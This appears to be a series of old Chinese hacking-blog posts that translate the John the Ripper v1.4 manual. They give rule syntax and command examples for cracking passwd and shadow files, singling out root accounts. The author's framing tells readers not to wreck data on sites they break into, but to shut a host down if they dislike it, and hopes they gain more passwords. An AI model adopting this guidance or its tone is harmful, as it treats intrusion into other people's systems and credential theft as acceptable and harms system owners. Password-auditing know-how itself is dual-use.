放在首頁上, 任何的討論也都再首頁上進行, 不要再來信要求破解某些站台, 或是寄一
些密碼檔來要求我幫忙跑. 甚至再來信詢問一些軟體破解的相關問題 (你需要的是取得
一套 News Client 軟體, 訂閱 tw.bbs.comp.hacker) 當然我希望真的有心要討論系統
安全的網友來信討論.
** 不要 Crack 這個首頁的 ISP!!!! 否則 FETAG Sofeware's Hacking Page 將會完全關
閉, 再也不尋找其它的地方來放置, 希望給你的是使用電腦的 "知識", 不要利用它來
奪取任何的"權利", 本首頁著重的是教育, 而不是一眛的教導攻擊的方法, 希望大家
對於政府機關(org.tw) 或教育機構 (edu.tw) 不要作任何的破壞!! 還有我的 ISP.:D
謝謝大家的支持~
** 工作室成立了一家科技公司,將在北投為大家服務,當然服務的內容不外乎是電腦
相關硬體、軟體及網路相關的問題,將會在明年年初左右開幕,詳情請於明天參考
工作室首頁 http://www.showtower.com.tw/~fetag
當然以後大家也就會更忙碌了,也就是說首頁維護的時間就更少了,不過我們還是
希望能提供給大家更多的資訊,所以如果以後有任何新的資訊,我們會在首頁上公
佈,儘量不以寫文章的方式,這樣可以節省下很多編輯的時間。
------
再次重申, Crack 別人站台之後不要破壞別人站台中的資料, 此篇文章僅作為教育目的,
不主張你隨便入侵他人主機. 請勿將這類技術使用於破壞上 (又... 如果第三次世界大戰
開打, 你可以任意破壞敵國的電腦網路... 我全力支持), 最嚴重的情況(如果你真的很討
厭該主機的話)... 就將它 Shut Down.... 好了! 別太暴力了!(全文完)

Posted by DeepSe@ at 痞客邦 PIXNET 留言(1) 引用(0) 人氣()

字典檔的規則
--------------
定義給字典檔及 "single crack" 模式的節段是放在一個叫做 [List.Rules:Wordlist]
跟 [List.Rules:Single] 之中. 作者使用一種叫作擴充破解 (by Alec Muffett) 的語
法, 或許有許多人對於這種破解模式已經很熟悉了. 作者加入了更多重要的的規則來使
它更為優秀, 讓它能夠使用同一個原始來源產生更多更複雜的方式.
當在定義規則的時候, 在每一行中只需要安排一種規則 (之前可能需要下達一些指令).
每一種規則是由一個或多個指令組成. 下面這些指令是 John 所支援的 (大部分的說明
是由 Crack 程式的 dicts.rules 所轉錄下來的, 但是程式碼是作者自己重寫的, 而且
比 Crack 還要快):
一般常用指令:
: no-op - 不要在輸入的字之後作任何動作
>n 拒絕輸入的字長度是 > n 的字元, n = 0-9
^x 將 'x' 由每個輸入的字移出
$y 在每個輸入的字後加上 'y' 這個字元
l 強制小寫字
u 強制大寫字
c 強制第一個字大寫(其餘小寫)
r 把字元排列次序巔倒: "Fred" -> "derF"
d 重覆每個字: "Fred" -> "FredFred"
f 鏡射形態字: "Fred" -> "FredderF"
p 嘗試每個字元的大小寫變化 (abc, Abc, aBc, abC....)
onx 如果字元不滿幾個字, 就把它加到幾個字, n (由 0 開始) 每個未足字元都以 'x' 字取代.
inx 在指定字元數插入 'x' 的字元, 字元數 n (由 0 開始) 後面的字將會依插入的字元多寡
而向右邊作位移
nb: 如果指定的 > 字串總長度(input), 字元 'x' 將會用增加的方式加上
xnm 由字串中抽離某些字, 字元數 n (由 0 開始) 而且會抽離 m 個字元.
會使用在字元層級的指令:
sxy 取代 (交換), 將字串中所有的字元 'x' 取代為 'y'
s?cy 用 'y' 來取代所有字元為 'c' 者
@x 由字串中清除所有字元為 'x' 者
@?c 由字串中清除所有字元為 'c' 者
!y 拒絕執行字串中包含有 'y' 者
!?c 拒絕執行字串中包含在 class 'c' 中有定義的
/x 拒絕所有字串中未包含字元 'x' 者
/?c 拒絕除了字中包含 class 'c' 以外的所有字
=nx 拒絕除了 class 等於 'x' 以外的所有
=n?c 拒絕除了 class 'c' 以外的所有字
nb: 所有的字串都由位置(Position) 0 開始計算
用在上面所敘述的字元 class 的指令:
?? 相同於 '?'
?v 相同於 母音: "aeiouAEIOU"
?c 相同於 子音: "bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ"
?w 相同於 空白符號: " \t"
?p 相同於 標點符號: ".,:;'\"?!`"
?s 相同於 一般符號: "$%^&*()-_+=|\\<>[]{}#@/~"
?l 相同於 小寫字母 ('a' to 'z')
?u 相同於 大寫字母 ('A' to 'Z')
?d 相同於 數字 ('0' to '9')
?a 相同於 字母 ('a' to 'z' and 'A' to 'Z')
?x 相同於 字母及符號 ('a' to 'z', 'A' to 'Z' and '0' to '9')
用來表示相反 class 的字元就用大寫的字母來表示,
例如: 用 ?d 來表示 '數字(DIGITS)', ?D 就表示 '非數字(NON-DIGITS)' 依此類推.
上面所敘述的只令是跟 Crack v4.1 相同的, 下面的則是 John 中所新增的 (作者說明
這些指令也許不是很有用處, 且大部分的東西在 Crack v4.1 也可以作得出來):
{ 字串左移: "jsmith" -> "smithj", etc
} 字串右移: "smithj" -> "jsmith", etc
Dn 刪除位置 n 的字元 (由 0 開始) 及把該字元後的字左移
P "crack" -> "cracked", etc (過去式, 只針對小寫)
G "crack" -> "cracking", etc (現在進行式, 只針對小寫)
~i 由鍵盤方式轉換大小寫(加 Shift 鍵): "Crack96" -> "cRACK(^", etc
~I 轉換大小寫: "Crack96" -> "cRACK96", etc
~v 將母音轉小寫: "Crack96" -> "CRaCK96", etc
~> 由鍵盤方式將所有字元右移: "Crack96" -> "Vtsvl07", etc
~< 由鍵盤方式將所有字元左移: "Crack96" -> "Xeaxj85", etc
特別針對 "single crack" 模式的指令有雙字串支援, 控制這些指令要套用指令時需要
用到下列的命令:
1 只有第一個字
2 只有第二個字
+ 包含兩個字 (必需只用在 '1' 或 '2' 之後, 也就是 1+2 或 2+1)
如果你在規則設定中使用了上述的指令, 將只會執行雙字串(全名, 由GECOS資料得來),
而放棄只有單一字串的字.
'+' 會假定在規則結尾使用這些命令的時候, 除非你用手動指定. 例如, '1l2u'會轉換
第一個字為小寫, 第二個字為大寫, 而且會把兩個字相連. 在使用 '+'時可能要應用一
些其它的指令: 在你分別應用一些指令來執行的時候 '1l2u+r' 會用相反順序來相連這
兩個字, .
[Crack v5.0 在作者更新 John 的時候還沒有發行, 所以作者使用一些自己的方法來擴
充規則語法. 事實上, 新版 Crack v5.0 的規則看起來像是多餘的, 或是跟作者已加在
John 裡的功能是相同的([ == D0, ] == rD0r, C == c~I, t == ~I, (x == =0x, )x
== r=0xr, 'n == x0n). 不一樣的規則為 %nx, or %n?c (拒絕執行,除非該字串最少包
含了有 n 個 'x' 字元, 或是 n 個 class 'c' 裡定義的字元).無論如何, 作者已經把
所有的功能都加在 John 裡面了, 基於相容性的理由. 請確定字首 '[' 及 ']' 加上了
'\'如果你有使用到的話, 因為他們已經用來控制其它的功能了. ]
如果一個規則 (命令列的一行) 沒有改變字, 那一個字將會被排除而不執行, 除非整個
規則包含了冒號 ':', 假設你加入了冒號 ':' 在你的規則定義中.
前置處理是用在組合類似的規則進入同一個來源. 如同範例, 如果你希望讓 John 嘗試
小寫密碼並加上數字, 你可以為每個數字定義一個規則, 總共有十個. 現在想像一下加
入兩位數字(號碼)--這樣設定檔會便得很大且會很難看.
用前置處理, 你可以很簡單的就作到這些事情: 很簡單的寫一個來源行, 包含這些規則
的共用部分, 在括號中寫出你要放進不同規則中的字元 (你必需要使用正規的表示法).
然後前置處理器就會在 John 啟始的時候產生你所要的規則, 像上面的範例一樣,
來源行會是 'l$[0-9]' (小寫字串, 並且加上數字) 及 'l$[0-9]$[0-9]' (小寫字串並
加上兩位數字). 這些來源行會分別的加到 10 及 100 規則. 總之, 前置處理的命令處
理順序是由又至左, 字元的處理順序則是由左至右, 在加入兩位數字這樣的例子中, 會
得到正常的順序. 注意我在這些範例中只用到字元範圍的形態 (由 A到Z 等的為範圍形
態), 但是你可以用字元列表來組合他們, 像'[aeiou]'會使用母音, 還有'[aeiou0-9]'
會使用母音跟數字.
有一些控制字元在規則裡 ('[' 括號用來啟始一個字元列表, '-' 表示一個包含在內的
範圍, 這一類的). 如果你希望把某一行放在設定檔裡面, 但是又不想使用他們的話,你
可以在前面加上 '\' 符號, 那會使 John忽略這一行不去執行. 還有, 如果你需要開始
一個前置處理表列在開始的一行中, 你將會用到 ':' 符號, 不然的話 John會認為它是
一個新節段的開始.
定義擴充模式
---------------
要定義一種擴充模式, 你需要建立一個節段叫作 [List.External:],
是你自己對這個模式定義的名稱. 這一個節段中必需要包含一些使用 C語言子集所寫的
函數, 當你在命令列使用這個模式的時候, John會編譯及使用這些程式, 編譯程式會產
生虛擬機械碼, 比任何直譯器或轉換程機器可執行碼來得好用 (現在只完成了 x86硬體
可使用的部分).
下面這些功能是一般會在 John 中使用到的:
init() 在啟始時呼叫, 會初始全域變數
filter() 在試每一個字串時呼叫, 可以將一些字串過濾掉
generate() 產生字串時呼叫, 當沒有使用其它的破解模式時
restore() 回復一個中斷的工作時呼叫
這些函數的型別都是 'void', 不需要引數(參數), 使用到了全域變數 'word' (已定義
為 'int word[16]'), 除了 init() 之外, 它在 'word'初始之前已經被呼叫了.'word'
變數包含了要試的字串(ASCII),filter()可以改變它, 或是0以外的, 可以用'word[0]'
來保留它. generate() 不能假設任何特殊值的 'word'當它被呼叫的時候, 但是可以將
它放在下一個將要試的字串, 或是0以外 'word[0]' 當破解工作結束的時候 (這將會引
起 John 結束執行). restore() 必需設定全域變數來繼續執行由支援的 'word' 字串.
你可以單獨使用任意一個擴充模式, 或跟其它某些模式一起使用, 在這個情況之下只有
init() 以及 filter() 會被使用到 (而且只有 filter() 是必需要的). 使用擴充模式
的過濾器跟其它的破解模式及 '-makechars'這個命令是相容的.
我們建議你不要使用filter(), 最少在使用擴充模式於你自己的 generate() 時不要過
濾太多的字, 最好的方法是改一下 generate() 使它不要產生會被過濾掉的字串.
就像作者在上面所提到過的, 編譯器支援了 C 語言的子集. John 是一個 cracker, 不
是一個編譯器, 所以我不認為它需要其它的東西. 這裡有一個列表, 列舉出 John 跟 C
編譯器功能上的差別:
- 只支援標準的功能, 你不能自行定義一個自己的;
- 只支援 'while' 的迴圈;
- 只支援 'int' 與 'void' 資料型別;
- 只支援單一十進位的陣列;
- 不支援結構化
- 不支援指標 (沒錯, 你有更多的陣列了呀);
- 大概還有些別的吧...
一些支援的功能與 C 語言不同的地方:
- 陣列名稱單獨參考到它的第一個基本元件而非這個陣列的位址(以 0 作啟始);
- '++' 跟 '--'運算元在表示式計算的時候執行, 而不是 pre/post-calculated; 這會
在 C 的很多例子中傳回相同的結果 (像在 C 語言跟 John 的編譯器中 'i = j++;'
都等於 'i = j; j = j + 1;'但是假如這些變數被應用不只一次的話, 傳回的結果會
跟 C不同 (如 'i = j++ - j++;' 在John中就等於 'i = j - (j + 1); j = j + 2;'
但是在 C 語言裡卻變成是 'i = j - j; j = j + 2;');
- 我希望沒有別的地方是不同的了...
無論如何, 強力的 C 語言語法結構 (所有整數運算元),'if'/'else' 跟 'while' 仍然
可以使用. 這對所有的小程式來講應該是足夠的了. 你可以看看在設定檔支援的範例檔
中的擴充模式範例.
==========
使用範例
==========
這些範例可以讓你瞭解使用 John 可以幫你作哪些事, 也許不夠明白的來表示該如何來
使用, 我只能試著來回答一些問題:
命令列
--------
1. 假設你剛得到一個密碼檔,'passwd.1', 且你想要試著破解它, 你可以使用 Singel
Crack" 模式:
john -single passwd.1
或者,你也可以使用簡寫(John在很多選項都有提供簡寫的方式,讓你很快的能夠完成輸入)
john -si passwd.1
如果你有很多的檔案要破解, 最好的方式就是一次讀進來:
john -single passwd.1 passwd.2
或者你也可以這樣:
john -single passwd.*
2. 現在, 當你已經破解了一些密碼, 這些已破的密碼將會存在~/john.pot 這個檔案裡
你可以瀏覽一下你所破解的密碼:
john -show passwd.1
如果這個列表超出了螢幕(解出了很多密碼??), 你可以使用下面這個輸出方式:
john -show passwd.1 | more
現在, 你可能會得到一些錯誤訊息告訴你有許多的帳號的 shell已經被取消掉了, 你可
以讓 John 修改這些字串 (假設 shell 名稱為 '/etc/expired'):
john -show -shells:!/etc/expired passwd.1
或是簡寫, 但是會跟 '/any/path/expired'有相同的效果:
john -show -shells:!expired passwd.1
或者, 你也想要修改其它的 shell 字串, 如 '/etc/newuser':
john -show -shells:!expired,!newuser passwd.1
檢查看看有沒有 root (uid 0) 帳號已經破解成功了:
john -show -users:0 passwd.1
或者, 檢查所有密碼檔中, 已破解的 root (uid 0) 帳號:
john -show -users:0 passwd.*
只顯示 root (login 'root') 帳號:
john -show -users:root passwd.1
3. 當你使用 "Single Crack"模式, 破解出來的帳號數目不是很多的時候, 你可以使用
較具威力的破解模式, 例如字典檔模式. 假設你的字典檔名為 'words.lst':
john -w:words.lst passwd.1
或者, 把規則破解模式也打開 (會更慢, 但是更具威力):
john -w:words.lst -rules passwd.1
要只破解擁有完整 shell 使用權的帳號 (一般來說, '-shells' 跟 '-users' 這兩個
過濾就可以完成你想要作的工作了, 在其它的破解模式也是一樣.
john -w:words.lst -rules -shells:sh,csh,tcsh,bash passwd.1
就跟其它的破解模式一樣, 你可以更快的破解一些檔案, 一次下達指令:
john -w:words.lst -rules passwd.*
可以只破解某些帳號. 像下面這個命令會試著破解具有 root (uid 0) 權限的帳號:
john -w:words.lst -rules -users:0 passwd.*
然而, 我不建議你只破解 root 的密碼, 因為那通常會比用系統安全漏洞來獲取 root
的權限花費更長的時間(通常不是在合理的時間內可以作到的), 如果你是用來試著破解
你自己主機上的密碼, 想要確定這些密碼不會被破解的話, 最好是選一個好一點的root
密碼, 然後只破解其它的.
有時把你的密碼檔分開兩部分並且分別進行破解是有用的, 就像:
john -w:words.lst -rules -salts:2 passwd.*
john -w:words.lst -rules -salts:!2 passwd.*
這會使 John 在試兩個或更多的帳號時動作快一點, 然後再試其它的總共需要的破解時
間將會差不多, 但是你會更容易的得到一些破解的帳號, 而且可能也不需要其它的. 還
有, 你可能想要用一個小一點的字典檔來試所有的帳號, 只有用這個方法你可以試得快
一點 (用 '-salts:2') 在一個大型的密碼檔上. 通常這是在使用 '-salts'大於 2 (有
時甚至高於 1000 都還可以執行), 為你的個別狀況進行調整吧.
注意你定義的字典檔規則第一行中包含了 ':' (表示 '試所有包含在列表中的字'), 如
果你已經執行了一個字典檔破解模式而沒有使用規則的話, 也確定你用相同的字典檔加
上規則來跑, 這一點要特別注意!!
4. John 裡最強的破解模式是增強模式, 你可以試著用這個指令跑跑看:
john -i passwd.1
這個指令會使用內定的增強模式的參數, 定義在 ~/john.ini's [Incremental:All] 這
一個節段中. 在設定檔中支援了這些參數使用所有 95 個字元集, 而且試所有長度的密
碼, 從 1 到 8 個字元. 不要預期這個模式的破解會在合理的時間內結束 (除非所有的
密碼都設得很容易破, 而且很快的被破解掉了).
在很多的情況之下, 當你破解一些簡單的密碼時, 使用其它定義好的增強模式會比較快
一些, 由限制字元集來著手. 下面的指令只會試 26 個字元組合排列方式, 由 1 到 8
個字元來算, 它將會嘗試由 'a' 到 'zzzzzzzz'的所有字:
john -i:alpha passwd.1
相同的, 你可以配合著增強模式只破解 root 帳號 及使用一些其它 John的功能, 這個
指令會試著破解所有的 root (uid 0) 帳號在所有的密碼檔中, 而且只有在這些產生的
相同 salts, 所以你得到最少兩倍的效率 -- 如果你有很多個密碼檔的話 (像 1000 個
密碼檔, 命名為 '*.pwd'), 否則就是沒有 root 在相同的 salts:
john -i -users:0 -salts:2 *.pwd
5. 如果你得到了一個密碼檔, 而且已經有很多個帳號已經破解了 (但你需要更多), 而
且這個密碼檔的密碼設定是相當罕見的,你可能會想要產生一個新的字元集檔案, 以
該密碼檔為基礎的字元集:
john -makechars:custom.chr passwd.1
然後把這個新的檔案用在增強模式中.
如果你由同一個國家得到很多個密碼檔的話, 也許可以把他們一起用來產生字元集檔案
這樣你可以用它來幫你破解出更多的密碼, 當然這個自元集日後也可以用在同一個國家
所得到的密碼檔上:
john -makechars:custom.chr passwd.1 passwd.2
<把你的 custom 增強模式定義在 ~/john.ini 中>
john -i:custom passwd.3
上面這個範例中, 我門假設 'passwd.1' 跟 'passwd.2' 這兩個密碼檔是來自同一個國
家, 而且你已經擁有很多破解過的密碼了, 而 'passwd.3' 也是從相同的國家來的, 你
現在正打算要破解它.
當你在產生一個新的字元集檔案的時候, 你可以使用一些已經定義好的, 或自行定義的
過濾器, 來產生一些簡單的字串:
john -makechars:my_alpha.chr -external:filter_alpha passwd.1
如果你的~/john.pot 設定檔已經很肥大的話 (或是你沒有的字元集檔案), 也許你會想
要使用它來產生新的字元集檔案:
john -makechars:all.chr
john -makechars:alpha.chr -external:filter_alpha
john -makechars:digits.chr -external:filter_digits
在上面的範例中, John 會覆寫已經存在的字元集檔(如果它們原先已經在你的目錄中的
話), 寫入的內容就是你在~/john.pot (John 使用整個檔案, 如果你沒有指定任何密碼
檔的話), 為了你的方便使用, 注意字串過濾的使用也定義在 ~/john.ini 之中.

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

附加的工具程式
----------------
你也許會使用到 John 所附的一些工具程式:
xtract [source] [> ]
由文字檔中取出字典檔, 讓你可以把字典檔使用在破解上. 重覆的字不會自動的移除,
你須要再使用 'sort -u' 來作輸出 (這裡的指令是用在 UNIX 上的).
unshadow [> ]
組合 passwd 跟 shadow 檔案 (當你已經得到這兩個檔的時候) 讓真正的密碼檔得以還
原, 這樣你就可以在 John 上面使用了. 你也許會需要這個功能, 如果你只有 shadow
過的密碼檔案, GECOS 資訊不能在 "Single Crack" 模式下使用, 而且也不能夠使用
'-shells' 這個選項的功能.
============
破解的模式
============
這裡的破解模式的敘述通常都很簡短, 而且只函括了一些基本的東西, 你可以看一下
"使用者自訂" 這一個小節, 來穫得更多的資訊.
字典檔模式
------------
這是 John 所支援的破解模式中最簡單的一種, 你須要的只是指定一個字典檔 (文字檔
案, 每行一個英文單字)及一個或一些密碼檔, 你可以使用規則化的方式(用來修正每個
讀入的單字) 來讓這些規則自動的套用在每個讀入的單字中.
字典檔中的字不能夠有所重覆, 因為 John 並不會刪除重覆及將字典檔排序, 所以如果
有重覆的化會占用過多的記憶體, 最好能將一些常用的字典放在你字典檔的開頭, 當然
你最好能夠按字母的排列方式來排序你的字典檔,(如果每一個字跟先前的那個字的差別
小一點的話, John會跑得稍微快一點點, 這也是為甚麼要排序的原因了, 這個狀況在你
破解的密碼檔小的時候特別明顯). 譯者按:沒想到連這個都測試, 真是想得週到呀!!
另外, 你不須要擔心每一個字元的長度超過了八個字元, John會自動比對這些字, 如果
前八個字元一樣, John會自動的處理這種情況, 而且只試同一個密碼一次, 前提是這個
字必須是接在前一個字後面, 這也就是為甚麼要排序字典檔的原因了. 你最好是不要擅
作主張的把超過八字元的字切成八個字元, 因為在規則化的破解模式之下, 後面的字可
能還會有其它的用處.
譯者按: 因為 DES編碼方法在以前的系統上有八字元的限制, 所以超過八字元的密碼亦
視同八字元來編碼, 超過的部分則會被系統自動切除.
"Single Crack" 模式
---------------------
這是你剛才使破解密碼時需使用的, 它將會試著使用 login/GECOS資訊來當做密碼, 這
些資訊通常適用於該資訊來源的帳號(在帳號上是相同的 salt, 所以幾乎不需要額外的
破解時間 (很快的意思), "Single Crack" 婆式比字典檔模式還要快很多, 它也讓你可
以使用許多種規則 (這些規則通常在使用此一模式時都會開啟) 在合理的時間之內. 當
然, 這個模式只會得到使用基本資料來當作密碼的使用者資料.
值得注意的是, 當你用這個模式在同一個時間跑很多的密碼檔時, 通常會比你將這些檔
案分開來跑, 還要能夠更快的得到已經破解的密碼.
不要跑盡所有的規則也許是一個好方法, 但是節省時間, 然後用其它的破解模式來跑,
這樣的話規則型態會以號碼來排列破解的密碼.
CJack 的使用者必需要注意到 John 的 "Single Crack" 模式是完全不一樣(更好)的.
它不需要指定一個密碼檔, 因為密碼檔製造的規則型態與程式碼已經內建在 John 裡
頭了.
增強模式
----------
這是功能最強大的破解模式, 它可是試所有可能的字元組合來當作密碼, 但是這個模式
是假設在破解中不會被中斷, 所以當你在使用長字串組合時, 最好不要直中斷執行 (事
實上你還是可以在執行時中斷, 如果你設定了密碼字串長度的限制, 或者是讓這個模式
跑一些字元數少一點的字元集), 然後你將可以早一點中斷它的執行.
這就是為甚麼這個麼式須要指定字元頻率表(character frequency tables, 字元集)--
在有限的時間內去得到所有可能的密碼.
要使用這個破解模式, 你須要指定及定義破解模式的參數,(包含密碼長度的限制還有字
元集). 這些參數必須寫入到~/john.ini 中的[Incremental:] 這一段內,
可以任意命名 (就是你必須要在執行 John 時在命令列指定的名稱).你可以使用一個重
新定義的增強模式, 或是定義一個自訂的.
若你曾經定義過了一次, 日後當你要再使用同一種增強模式的時候只要指定增強模式要
套用的選項, 相同的選項及密碼檔的套用就會自動的回復.
擴充模式
----------
在使用John的時候你可以定義一些擴充的破解模式.只要在~/john.ini 的[List.External:]
一節中指定就可以了,就是你所指定的模式名稱. 這一段中必須要包含一些 John
嘗試要產生的字典的功能. 這些功能的撰寫方式就是 C語言的子集,它會自動的在 John
執行前編譯 (只有在你開啟 John 時使用這個模式才會被編譯).
==========
如何自訂
==========
John the Ripper 的破解行為及方式可以編輯~/john.ini 來自訂, 你可以在執行 John
的時候在命令列指定破解方式, 其它 John 的選項不會受到命令列的影響, 為增強模式
定義一些參數, 為 Single Crack 模式定義一些規則, 或者你也可以定義一個新的破解
方式.
這個設定檔 (~/john.ini) 是由許多小段組合而成的. 每一個小段的起始是由括弧括起
來, 裡面所寫的是這一段的名稱. 每一個段中內含了指定的一些變數來組成可變動的變
數, 或由一些特別的項目來指定段的型態(像這樣的段啟始字元為 'list.'). 段跟可動
變數的大小寫對程式來講是無所謂的. 如果在行前加上了 '#' 或是 ';' 字元, 就表示
這一行將會被程式所略過不予執行, 你可以用來加入一些註解.
一般選項
----------
預設一些命令列選項可以放在 [Defaults] 這一段中. 你可以定義下面這些值:
Wordfile 設定你的字典檔檔名, 這會自動虛擬成你正使用的破解模式是字典檔模式,
你不需要再加上 '-wordfile' 這個選項.
Timeout 設定中斷的時間, 單位為分鐘.如果使用這個選項的話, 所有的破解模式都
會接受時間到就自動停止 (建議不要指定這項, 在命令列指定就好了).
Beep 當系統找到密碼時會發出 '嗶'聲, 或是在一些要問你 (Yes/No) 的時候也
會令你的電腦發出聲響來提醒你. 另一組相反的選項為 '-quiet', 它不會
令你的電腦發出聲響, 所以最好先指定 Beep, 當你需要讓電腦安靜時在命
令列使用 -quiet 即可.
一些其它的選項可以先定義在 [Options] 這一段中:
Realtime 設定已經經過的時間為 D:HH:MM:SS 來取代原先用秒數來計算的方式 (跟
CJack 相同).
Percent 設定顯示百分比指示器.
增強破解模式的參數
--------------------
要定義一個增強模式的參數, 你需要先建立一個叫作 [Incremental:] 的段, 這
裡的 你可以自訂這一段的名稱. 在 John 裡面有一些已經設定好的預設增強模
式的參數定義, 你可以用這些定義來當作你自訂參數的範本. 下面這些是支援的參數:
CharCount 讓你限制不同字元使用時的字數限制, 讓 John啟始時可以早一點試跑長字
串的密碼,也可以用來設定字元集的特別長度當使用一個外部的字元集檔案
其字元數量小於你在 CharCount 所設的字元數時.內定值(當此值未定義時
的預設值) 所有定義的字元都會被使用.
MinLen 最小的密碼字串長度, 字元數 (1 為內定值).
MaxLen 最大的密碼字串長度, 字元數 (8 為內定值).
Wordlike 設定為 'Y' 可以開啟一個簡單的字典過濾器 (一排字有多於一個的母音,
或多於兩個個沒有母音的一排字, 都會被過濾掉).
File 外部字元集檔名 (檔案是由你所設定的路徑讀入, 內定為 ~ 目錄) 設定這
個參數會取消你在設定檔中內定的字元集.
CharsetNM (N 與 M 為數字格式, 1 <= N <= 8, 1 <= M <= N)為一個密碼檔定義一個
字元集長度為 N, 字元指標為 M.字元的順序是很重要的, 比較頻繁的字元
將會較先被取代, 字元集不需要是相同的大小.

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全的
保護, 如果你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦,
我是 CoolFire, 寫這篇文章的目的是要讓大家明白電腦安全的重要性, 並不是教人
Crack Password 若有人因此文件導致惡意入侵別人的電腦或網路, 本人概不負責 !!
 

有些人可能已經很習慣這樣的教學方式, 也習慣了我寫 CoolHC 的語氣, 用詞. 但是有
很多網友可能會因為我的用詞而看不懂, 我已經儘量白話一點了, 如果有看不懂的, 多
看幾次應該就會瞭解了吧? 或把以前的文章拿出來再翻一翻, 也許看了第二次之後所得
到的感想, 又是完全不一樣的呢?!
首頁上的網友交流版是一個不錯的交流方式, 在 CoolHC 沒有寫的這段時間大家可以在
上面聊一聊自己的破解心得, 這樣我也可以少寫一些 FAQ, 當然在上面有經驗的網友們
也可以分享一下你們的經驗, 讓一些新手快點進入狀況, 不會再問一些怪問題~
!!! 請不要寄些密碼檔, 或者是寄個網路位址來求破, 我們並不提供這樣的服務, 我說
過了, 作這份文件主要是興趣, 如果還有人這樣的騷擾我們, 我們將會停止這份文
件的寫作及外流. 另外因為最近收到的來信實在太多, 我們不打算再以 Mail 回答
了, 在 CoolHC#8 問世之後, 我將不會再回答任何人來信所問的任何關於系統破解
的問題, 該給各位的所有資訊都會放在網頁上, 如果網友們有任何的問題請在網友
交流版中詢問及尋求解答. 有幾個喜歡發信問軟體破解的請注意, 你的行逕亦已引
起許多軟體 Cracker 的不滿, 一次寄發的信件就 cc: 給許多人, 請不要再作這種
損人不利己的事了!!! (發一下牢騷, 跳過去吧!)
請各位在 ICQ上也不要再要求我在線上教你甚麼, 如果真的要在線上教, 那是教不
完的, 還是寫文章來得實際一點吧?
**** 關於網友交流版 ****
原先所打算的是開啟一個 MailList 來進行網路入侵及系統安全的交流, 但是由於我並
沒有太多的時間來維護, 而且最近收到的許多信件也顯示了許多網友的網路使用方式有
很大的差異(有人會發信, 問些怪問題), 所以這個計畫目前就暫時延緩了, 為了讓大家
還是有交流的機會, 兩個月前在首頁上特別開闢了一處網友交流版, 這個交流版最主要
的定位跟其它網站的留言版不同, 我們希望大家有問題的時候能夠在上面討論, 並且讓
新手可以學習到一些我在 CoolHC 中沒有提到, 或者是資料不夠詳細的資訊.
網友交流版開版至今, 尚未得到我們所預期的效果, 但是也吸引了許多新手到交流版上
發問. 我們希望有經驗的老手們能夠不吝嗇的在交流版上跟新手討論你們的問題, 並且
也把你們所遇到的挫折或經驗跟其它網友們分享. 這才是我們開放這個交流版真正的目
的. 希望這個目標很快就能夠達到.
交流版上也希望能夠聚集多方的資訊, 如果你也有個破解入侵的首頁, 我們希望你也能
夠在首頁上加入這個交流版的連結, 這樣才能夠使這個交流版的資訊更多; **** 關於本站檔案 Mirror Site ****
有許多網友常常來信有甚麼檔案抓不到的問題, 這些問題我以後也不會再答覆了, 以後
若有相同的問題, 請至 Mirror 站台抓取, 或是知道檔名直接用 Archie 系統找尋再使
用 FTP 來抓檔, 如果以後有檔案抓不到的問題, 請來信 "通知", 請不要寫信來"罵人"
許多網友認為自己花錢上網, 就該得到想要的資料, 那我們呢? 可是在花錢, 花心思,
花精力的在服務大家, 並未收取任何的費用呢!
目前首頁的連結點有三處 (WWW):
主站: http://fetag.company.com.tw/ (感謝 艾利克科技 提供)
台北: http://www.showtower.com.tw/~fetag (索夫特)
台中: http://www.ab.net.tw/~fetag (感謝 大世紀全球資訊網 提供)
大陸: http://www.nease.net/~fetag (感謝網友 comc 提供, 並協助 GB 轉碼)
動態: http://hut.stanford.edu/dips/fetag (工作室主機-DIP)
特別說明:
動態 WWW 主機為工作室的主機, 使用 WebSite 架設, 因為是屬於撥接型態的上線方
式, IP 為動態分配, 以 DynamIP 來進行動態 IP 的調整, 連線者必需要在我的主機
已上線的狀況下才能進行連結.
如果連結後出現:
DIPS: Error
We are sorry, the server fetag is not currently connected to the network.
The last time we saw this site was on
Sun Oct 19 09:28:04 1997.
dips@bigfoot.com
表示弟的工作站並未連接到網路上, 所以無法連接, 但若你的 WWW Browser 有設定
Proxy Server 的話, 有可能這項資料是上一位使用者連接時的 Cache, 所以請按一
下 Browser 的 ReLoad 鍵, 還是這個畫面的話就確定無法連接了!
如果有下載後的檔案無法解開, 或發生 CRC 錯誤, 請來信通知更正.
日後若有其它檔案或首頁映射, 會在工作室首頁中公告, 請勿再來信詢問.
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
**** John the Ripper v1.4 中文說明 ****
中譯: James Lin (fetag@ms1.showtower.com.tw)
許多的工具程式, 在告訴大家要去哪裡抓, 要如何使用之後, 還是陸陸續續會有很多人
寫信來問一些原本說明檔就有說明的問題, 所以, 把說明檔翻出來讓大家看看, 也許這
種情況就會少很多了吧??
在以前的 CoolHC 中為大家介紹過了 John 這套密碼的破解工具, 但是內容並不是很詳
細, 有很多的網友也只能使用它部分的功能, 以為這就是 John?? 其實 John 還有許多
的功能可以介紹, 這一次, 就把 John 拿出來, 跟大家作一個完整的討論, 使大家在使
用的時候, 可以更方便, 也希望大家能夠以 John 取得更多的密碼!
其中有些部分我直接翻譯 John 的文件檔內容, 有些部分我會補充一下在說明檔中沒有
出現的範例畫面, 並作一些說明, 所以這一篇可能會稍為長一點, 因為 John 本身所提
供的說明檔原來就已經很大了 (作者花了蠻多的心思在寫說明喔, 有沒有看呀?).
雖然底下的詞句我已經儘量的白話, 但是有些地方因為是英文直接翻過來, 中文的意思
反而沒有英文的單字還要有解釋那個詞句來得貼切, 所以儘量就保持原樣了!
在翻譯這篇文章的同時我的背景還開了三個 DOS 的視窗來跑 John, 這種多功的好處也
是我向大家強力推薦密碼解密時該使用 John the Ripper 的原因!
終於完成了... 呼呼.. 下次這麼累的事情不要再找我了, 快把英文學好吧!!!

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全的
